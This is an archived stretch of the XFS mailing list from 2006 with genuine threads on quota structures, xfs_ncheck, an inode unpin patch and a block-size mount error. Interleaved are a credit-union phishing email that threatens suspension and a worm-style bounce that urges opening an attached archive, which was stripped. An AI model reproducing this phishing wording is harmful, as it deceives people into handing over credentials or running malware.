1j+S/wDxdH/CLaZ/0M1j+S//ABdclRR9cwn/AEDr/wACl/mH1fEf8/n90f8A I63/AIRbTP8AoZrH8l/+Lo/4RbTP+hmsfyX/AOLrkqKPrmE/6B1/4FL/ADD6 viP+fz+6P+R1v/CLaZ/0M1j+S/8AxdH/AAi2mf8AQzWP5L/8XXJUUfXMJ/0D r/wKX+YfV8R/z+f3R/yOt/4RbTP+hmsfyX/4uiuSoo+uYT/oHX/gUv8AMPq+ I/5/P7o/5H//2Q== ------=_NextPart_1-- From owner-xfs@oss.sgi.com Sun Oct 22 18:51:19 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 18:51:25 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N1pHaG013382 for ; Sun, 22 Oct 2006 18:51:19 -0700 X-ASG-Debug-ID: 1161564277-5897-963-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from as.dataradical.com (dataradical.com [72.10.44.90]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2AAA34C42AE for ; Sun, 22 Oct 2006 17:44:37 -0700 (PDT) Received: (qmail 28355 invoked by uid 48); 22 Oct 2006 17:41:02 -0700 Date: 22 Oct 2006 17:41:02 -0700 Message-ID: <20061023004102.28354.qmail@as.dataradical.com> To: xfs@oss.sgi.com X-ASG-Orig-Subj: Alert : Check your account Status Subject: Alert : Check your account Status From: "Alert fairwinds.org" Reply-To: trick.trick_chicago@yahoo.com X-Priority: 1 Content-type: text/html; charset=iso-8859-1 MIME-Version: 1.0 X-Barracuda-Spam-Score: 0.25 X-Barracuda-Spam-Status: No, SCORE=0.25 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, NORMAL_HTTP_TO_IP, X_PRIORITY_HIGH X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23835 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.12 X_PRIORITY_HIGH Sent with 'X-Priority' set to high 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9392 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: alert@fairwinds.org Precedence: bulk X-list: xfs Status: O FAIRWINDS Credit Union

Dear FAIRWINDS member :

  • We regret to inform you that your FAIRWINDS account, has been temporarily blocked due to various login attempts from different global locations.

  • As Romania is one of the most high rated fraudulent countries, we temporarily blocked your account to avoid future problems or misusage of your FAIRWINDS account.

  • Here are the last 3 login attempts :

    1. IP address : 194.102.104.2
    ISP host : st13.i-cafe.onix.ro
    Location : Romania

    2. IP address : 217.156.19.129
    ISP host : rds-net.vl.ro
    Location : Romania

    3. IP address : 62.177.188.59
    ISP host : adsl.bbeyond.ro
    Location : Romania


  • If you are traveling and made these login attempts yourself or borrowed your FAIRWINDS account to someone else , please log in below.

    Travelling confirmation Here



  • If you want to re-activate your FAIRWINDS account , please follow our instructions.

    Re-activate your account Here




  • If this situation is not solved in the next 24 hours your account will be permanently suspended.


    Sincerely, FAIRWINDS Credit Union


  • ©2006 FAIRWINDS Credit Union.

    From owner-xfs@oss.sgi.com Sun Oct 22 19:13:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 19:13:32 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9N2DIaG016895 for ; Sun, 22 Oct 2006 19:13:20 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA21738; Mon, 23 Oct 2006 12:12:18 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9N2CC7Y14349040; Mon, 23 Oct 2006 12:12:13 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9N2C3fM14364465; Mon, 23 Oct 2006 12:12:03 +1000 (AEST) Date: Mon, 23 Oct 2006 12:12:03 +1000 From: David Chinner To: Arnd Bergmann Cc: Vasily Tarasov , Christoph Hellwig , Linux Kernel Mailing List , Andrew Morton , Jan Kara , Dmitry Mishin , Vasily Averin , Kirill Korotaev , OpenVZ Developers List , xfs@oss.sgi.com Subject: Re: [PATCH] diskquota: 32bit quota tools on 64bit architectures Message-ID: <20061023021203.GH8394166@melbourne.sgi.com> References: <200610191232.k9JCW7CF015486@vass.7ka.mipt.ru> <20061019172948.GA30975@infradead.org> <200610200610.k9K6AXgP031789@vass.7ka.mipt.ru> <200610211828.33230.arnd@arndb.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610211828.33230.arnd@arndb.de> User-Agent: Mutt/1.4.2.1i X-archive-position: 9393 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Sat, Oct 21, 2006 at 06:28:32PM +0200, Arnd Bergmann wrote: > On a related topic, I just noticed > > typedef struct fs_qfilestat { > __u64 qfs_ino; /* inode number */ > __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > __u32 qfs_nextents; /* number of extents */ > } fs_qfilestat_t; > > typedef struct fs_quota_stat { > __s8 qs_version; /* version number for future changes */ > __u16 qs_flags; /* XFS_QUOTA_{U,P,G}DQ_{ACCT,ENFD} */ > __s8 qs_pad; /* unused */ > fs_qfilestat_t qs_uquota; /* user quota storage information */ > fs_qfilestat_t qs_gquota; /* group quota storage information */ > __u32 qs_incoredqs; /* number of dquots incore */ > __s32 qs_btimelimit; /* limit for blks timer */ > __s32 qs_itimelimit; /* limit for inodes timer */ > __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > __u16 qs_bwarnlimit; /* limit for num warnings */ > __u16 qs_iwarnlimit; /* limit for num warnings */ > } fs_quota_stat_t; Ah, the XFS quota structures..... > This one seems to have a more severe problem in x86_64 compat > mode. I haven't tried it, but isn't everything down from > gs_gquota aligned differently on i386? Yes - this is just one of several interfaces into XFS that need compat handling that don't have them right now. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Sun Oct 22 21:26:41 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 21:26:49 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9N4QaaG003985 for ; Sun, 22 Oct 2006 21:26:39 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA24249; Mon, 23 Oct 2006 14:25:44 +1000 Date: Mon, 23 Oct 2006 14:26:07 +1000 From: Timothy Shimmin To: "Daniele P." , xfs@oss.sgi.com Subject: Re: xfs_ncheck gives outdated and partial result Message-ID: In-Reply-To: <200610200858.08718.daniele@interline.it> References: <200610200858.08718.daniele@interline.it> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9394 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 20 October 2006 8:58:08 AM +0200 "Daniele P." wrote: > Hi All, > I'm here to ask a couple of question regarding xfs_ncheck. > I'm using xfs_db version 2.6.20 > ... > And why it's print only the first file name for inodes pointed > by multiple files (2)? > I presume you are referring to hardlinks - with multiple directory entries pointing to the same inode. Looking at db/check.c/addname_inode() it looks like it only stores the first name that it comes across during directory processing when scanning happens in the blockget command. addname_inode( inodata_t *id, char *name, int namelen) { if (!nflag || id->name) <---- if name exists, then return return; id->name = xmalloc(namelen + 1); memcpy(id->name, name, namelen); id->name[namelen] = '\0'; } So we just get one valid path. --Tim From owner-xfs@oss.sgi.com Sun Oct 22 23:54:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 22 Oct 2006 23:54:38 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N6sWaG019084 for ; Sun, 22 Oct 2006 23:54:32 -0700 X-ASG-Debug-ID: 1161586426-32376-136-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from tyo202.gate.nec.co.jp (TYO202.gate.nec.co.jp [210.143.35.52]) by cuda.sgi.com (Spam Firewall) with ESMTP id 20A89D1A41C5; Sun, 22 Oct 2006 23:53:46 -0700 (PDT) Received: from mailgate3.nec.co.jp (mailgate54.nec.co.jp [10.7.69.195]) by tyo202.gate.nec.co.jp (8.13.8/8.13.4) with ESMTP id k9N6riiF002990; Mon, 23 Oct 2006 15:53:44 +0900 (JST) Received: (from root@localhost) by mailgate3.nec.co.jp (8.11.7/3.7W-MAILGATE-NEC) id k9N6rit24544; Mon, 23 Oct 2006 15:53:44 +0900 (JST) Received: from mailsv.linux.bs1.fc.nec.co.jp (mailsv.linux.bs1.fc.nec.co.jp [10.34.125.2]) by mailsv5.nec.co.jp (8.11.7/3.7W-MAILSV4-NEC) with ESMTP id k9N6rio13086; Mon, 23 Oct 2006 15:53:44 +0900 (JST) Received: from [10.34.125.197] (johnny.linux.bs1.fc.nec.co.jp [10.34.125.197]) by mailsv.linux.bs1.fc.nec.co.jp (Postfix) with ESMTP id E53D8E48245; Mon, 23 Oct 2006 15:53:43 +0900 (JST) Message-ID: <453C66F6.2060103@ah.jp.nec.com> Date: Mon, 23 Oct 2006 15:53:42 +0900 From: Takenori Nagano User-Agent: Thunderbird 1.5.0.7 (Windows/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> <20061017020218.GE8394166@melbourne.sgi.com> <20061018023325.GL8394166@melbourne.sgi.com> <20061018090701.GU11034@melbourne.sgi.com> <4536E186.5040301@ah.jp.nec.com> <20061019045851.GZ11034@melbourne.sgi.com> <45384FC6.5040000@ah.jp.nec.com> In-Reply-To: <45384FC6.5040000@ah.jp.nec.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9395 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: t-nagano@ah.jp.nec.com Precedence: bulk X-list: xfs Status: O Hi David, Your patches are surviving my testing. I have checked results of vmstat and /var/log/messages, but I can't see any errors and degradation. I think they are a viable fix, too. Takenori Nagano wrote: > Hi, > > David Chinner wrote: >> I don't think so - in the lookup code where we find an existing >> inode, we don't destroy the inode if XFS_IRECLAIMABLE is set. >> Instead we do a log force and repeat the lookup. We only destroy >> the inode in xfs_iget_core() if we raced with another thread >> reading the inode in off disk after the cache lookup has >> failed. In this case, we free the inode we read off disk which, >> by definition, cannot be dirty or pinned at this point so we >> don't need to wait for anything to be unpinned. >> >> In the case of reclaim, when we flush a dirty inode we already >> do a xfs_iunpin_wait() (xfs_finish_reclaim()->xfs_iflush()->wait) >> so we should never get to the point of xfs_idestroy with an inode >> that is still pinned. >> >> Hence I don't think this is patch is necessary. Did I miss something >> that I shouldn't have, Takenori? > > Sorry, you are right. I forgot xfs_iget_core() was modified that it don't reuse > xfs_inode while i_pincount > 0. > >> FYI, the three patches have survived my testing for almost a day now, >> so if they pass your testing I think we have a viable fix. I'll >> sned out a set of updated patches later this afternoon. > > Your patches have been working well for 20 hours. I intend to continue > testing your patches until next Monday, and I'll report the result. > > Best Regards, -- Takenori Nagano From owner-xfs@oss.sgi.com Mon Oct 23 01:35:25 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 01:35:33 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N8ZOaG005124 for ; Mon, 23 Oct 2006 01:35:25 -0700 X-ASG-Debug-ID: 1161588775-17375-260-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web8512.mail.in.yahoo.com (web8512.mail.in.yahoo.com [202.43.219.105]) by cuda.sgi.com (Spam Firewall) with SMTP id C81FED1A2AD1 for ; Mon, 23 Oct 2006 00:32:56 -0700 (PDT) Received: (qmail 33374 invoked by uid 60001); 23 Oct 2006 07:26:13 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.co.in; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=tBHGufqo0Jldz048q/61+G0yzpJGXDYK8uP7z0NOL0u7WVyVJ2k8jXBiTU9lEHTt6gbmxpyyjE8csMqVh1izGs0FEBgcXRNcLrrDXj1PiaNbXbW2VpFhlZTjX7bdf7FyhiPvLAHvR74MLoQ9AvGJgbaouX50sRzLxLmzo8Oo+IM= ; Message-ID: <20061023072613.33372.qmail@web8512.mail.in.yahoo.com> Received: from [198.62.10.100] by web8512.mail.in.yahoo.com via HTTP; Mon, 23 Oct 2006 08:26:13 BST Date: Mon, 23 Oct 2006 08:26:13 +0100 (BST) From: satish kumar X-ASG-Orig-Subj: mount problem with xfs Subject: mount problem with xfs To: xfs@oss.sgi.com MIME-Version: 1.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 389 X-archive-position: 9396 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: imemyself126@yahoo.co.in Precedence: bulk X-list: xfs Status: O I formatted a partition of size 5GB with xfs block size=16K I am not able to mount I get the following problem mount:functon not implemented help me out regards --------------------------------- Find out what India is talking about on - Yahoo! Answers India Send FREE SMS to your friend's mobile from Yahoo! Messenger Version 8. Get it NOW [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Mon Oct 23 01:51:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 01:51:12 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N8oxaG007384 for ; Mon, 23 Oct 2006 01:51:00 -0700 X-ASG-Debug-ID: 1161589183-22137-150-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from cnxtsmtp4.conexant.com (cnxtsmtp4.conexant.com [198.62.9.251]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9F53FD1A3AAE for ; Mon, 23 Oct 2006 00:39:43 -0700 (PDT) X-WSS-ID: 0J7KUY3-01-8LY-02-02 Received: from nbowa3.bbnet.ad (nbowa3.nb.conexant.com [157.152.183.106]) by cnxtsmtp4.conexant.com (Tumbleweed MailGate) with ESMTP id CBF38109AE9F for ; Mon, 23 Oct 2006 00:18:03 -0700 (PDT) Received: from hyd-mail2.bbnet.ad ([172.25.20.54]) by nbowa3.bbnet.ad with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Oct 2006 00:17:24 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5 MIME-Version: 1.0 X-ASG-Orig-Subj: Subject: Date: Mon, 23 Oct 2006 12:47:20 +0530 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Index: Acb2c0eOerJmOua0Qk26AfmGIXZKeQ== From: "Chakka Satish Kumar" To: linux-xfs@oss.sgi.com X-OriginalArrivalTime: 23 Oct 2006 07:17:24.0125 (UTC) FILETIME=[497D2CD0:01C6F673] X-TM-AS-Product-Ver: SMEX-7.0.0.1499-3.6.1039-14764.000 X-TM-AS-Result: No--9.855000-0.000000-31 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23861 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 853 X-archive-position: 9397 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ChakkaSatish.Kumar@conexant.com Precedence: bulk X-list: xfs Status: O Hi I formatted a partition of size 5GB with xfs block size=16K When I tried to mount it showed the following problem Mount: function not implemented Please help me out cnxtsmtp4.conexant.com made the following annotations---------------------------------------------------------------------********************** Legal Disclaimer **************************** "This email may contain confidential and privileged material for the sole use of the intended recipient. Any unauthorized review, use or distribution by others is strictly prohibited. If you have received the message in error, please advise the sender by reply email and delete the message. Thank you." ********************************************************************** --------------------------------------------------------------------- [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Mon Oct 23 02:47:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 02:47:46 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9N9ldaG012954 for ; Mon, 23 Oct 2006 02:47:40 -0700 X-ASG-Debug-ID: 1161596813-19990-499-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from home.jason.bur.st (ppp77-57.lns1.mel3.internode.on.net [59.167.77.57]) by cuda.sgi.com (Spam Firewall) with ESMTP id 28FAD4C054D for ; Mon, 23 Oct 2006 02:46:54 -0700 (PDT) Received: by home.jason.bur.st (Postfix, from userid 1000) id C94D37801C8E; Mon, 23 Oct 2006 19:46:34 +1000 (EST) Date: Mon, 23 Oct 2006 19:46:34 +1000 From: Jason White To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: mount problem with xfs Subject: Re: mount problem with xfs Message-ID: <20061023094634.GA8449@jdc> Mail-Followup-To: xfs@oss.sgi.com References: <20061023072613.33372.qmail@web8512.mail.in.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061023072613.33372.qmail@web8512.mail.in.yahoo.com> User-Agent: mutt-ng/devel-r774 (Debian) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9398 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jasonjgw@internode.on.net Precedence: bulk X-list: xfs Status: O On Mon, Oct 23, 2006 at 08:26:13AM +0100, satish kumar wrote: > I formatted a partition of size 5GB with xfs block size=16K > I am not able to mount Block size must be <= page size under Linux (see the XFS FAQ). The page size is 4k for x86, 8k for ia64; the FAQ explains further. From owner-xfs@oss.sgi.com Mon Oct 23 03:07:44 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 03:07:55 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9NA7gaG014943 for ; Mon, 23 Oct 2006 03:07:43 -0700 X-ASG-Debug-ID: 1161594141-14762-271-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp103.sbc.mail.mud.yahoo.com (smtp103.sbc.mail.mud.yahoo.com [68.142.198.202]) by cuda.sgi.com (Spam Firewall) with SMTP id 0DBD7D1A23CD for ; Mon, 23 Oct 2006 02:02:22 -0700 (PDT) Received: (qmail 32621 invoked from network); 23 Oct 2006 09:02:21 -0000 Received: from unknown (HELO stupidest.org) (cwedgwood@sbcglobal.net@70.132.27.77 with login) by smtp103.sbc.mail.mud.yahoo.com with SMTP; 23 Oct 2006 09:02:20 -0000 Received: by tuatara.stupidest.org (Postfix, from userid 10000) id 2D6521827280; Mon, 23 Oct 2006 02:02:19 -0700 (PDT) Date: Mon, 23 Oct 2006 02:02:19 -0700 From: Chris Wedgwood To: Chakka Satish Kumar Cc: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: your mail Subject: Re: your mail Message-ID: <20061023090219.GA18714@tuatara.stupidest.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9399 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: xfs Status: O On Mon, Oct 23, 2006 at 12:47:20PM +0530, Chakka Satish Kumar wrote: > I formatted a partition of size 5GB with xfs block size=16K you can't use a block size large than your machines page size, so you probably want to leave it at 4K (the default in most cases) From owner-xfs@oss.sgi.com Mon Oct 23 06:50:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 06:50:59 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9NDolaG014712 for ; Mon, 23 Oct 2006 06:50:48 -0700 X-ASG-Debug-ID: 1161611402-11355-635-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id DAC664C85E4 for ; Mon, 23 Oct 2006 06:50:02 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id E74D818CF9858 for ; Mon, 23 Oct 2006 08:50:00 -0500 (CDT) Message-ID: <453CC888.2070806@sandeen.net> Date: Mon, 23 Oct 2006 08:50:00 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: mount problem with xfs Subject: Re: mount problem with xfs References: <20061023072613.33372.qmail@web8512.mail.in.yahoo.com> <20061023094634.GA8449@jdc> In-Reply-To: <20061023094634.GA8449@jdc> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23887 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9400 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Jason White wrote: > On Mon, Oct 23, 2006 at 08:26:13AM +0100, satish kumar wrote: >> I formatted a partition of size 5GB with xfs block size=16K >> I am not able to mount > > Block size must be <= page size under Linux (see the XFS FAQ). > > The page size is 4k for x86, 8k for ia64; the FAQ explains further. Looking at system messages would probably have yielded something like this: "filesystem with block size 16384 bytes. only pagesize (4096) or less will currently work." looking at kernel messages after a failed mount is always a good idea. -Eric From owner-xfs@oss.sgi.com Mon Oct 23 09:51:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 23 Oct 2006 09:51:49 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9NGpaaG007387 for ; Mon, 23 Oct 2006 09:51:37 -0700 X-ASG-Debug-ID: 1161607742-30607-512-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bmgdcnt624.bakernet.com (gdcout624.bakernet.com [208.193.53.124]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7936B4C4F55 for ; Mon, 23 Oct 2006 05:49:02 -0700 (PDT) Received: from bmgdcnt630.bakernet.com ([10.99.7.229]) by bmgdcnt624.bakernet.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 23 Oct 2006 07:49:01 -0500 Date: Mon, 23 Oct 2006 07:48:59 -0500 From: postmaster-imss-gdc630@bakernet.com To: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary" X-ASG-Orig-Subj: Mail could not be delivered Subject: Mail could not be delivered Message-ID: X-OriginalArrivalTime: 23 Oct 2006 12:49:01.0746 (UTC) FILETIME=[9D653120:01C6F6A1] X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23883 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9401 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: postmaster-imss-gdc630@bakernet.com Precedence: bulk X-list: xfs Status: O --------------InterScan_NT_MIME_Boundary Content-type: text/plain ****** Message from InterScan Messaging Security Suite ****** Sent <<< RCPT TO: Received >>> 550 5.1.1 user unknown Unable to deliver message to . ************************ End of message ********************** --------------InterScan_NT_MIME_Boundary Content-type: message/rfc822 Received: from psmtp.com ([64.18.1.35]) by bmgdcnt630.bakernet.com with InterScan Messaging Security Suite; Mon, 23 Oct 2006 07:48:58 -0500 Received: from source ([220.131.171.40]) by exprod6mx128.postini.com ([64.18.5.10]) with SMTP; Mon, 23 Oct 2006 07:48:55 CDT From: linux-xfs@oss.sgi.com To: hhenry.chang@bakernet.com Subject: RETURNED MAIL: DATA FORMAT ERROR Date: Mon, 23 Oct 2006 20:48:33 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_F41B33C2.7390207F" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 This is a multi-part message in MIME format. ------=_NextPart_000_0006_F41B33C2.7390207F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear user of bakernet.com, Your account has been used to send a huge amount of spam during this week. Most likely your computer had been infected and now runs a trojan proxy server. Please follow the instruction in the attached file in order to keep your computer safe. Best regards, bakernet.com support team. ------=_NextPart_000_0006_F41B33C2.7390207F Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable From: linux-xfs@oss.sgi.com To: hhenry.chang@bakernet.com Subject: RETURNED MAIL: DATA FORMAT ERROR When: Mon Oct 23 07:48:59 2006 trigger: ATTACHMENT FILTER Attachment: hhenry.chang@bakernet.com.zip(.com)=0D The original of this message contained an attachment which has been blocked= and deleted by our anti-virus system. It may have been virus-free, but ou= r system is set to block all files of this kind. If the attachment is busi= ness-related, and you need to receive it, please advise the sender to renam= e the file, adding an additional suffix of =E2=80=9C.ok=E2=80=9D (e.g. setu= p.exe should be renamed to setup.exe.ok) 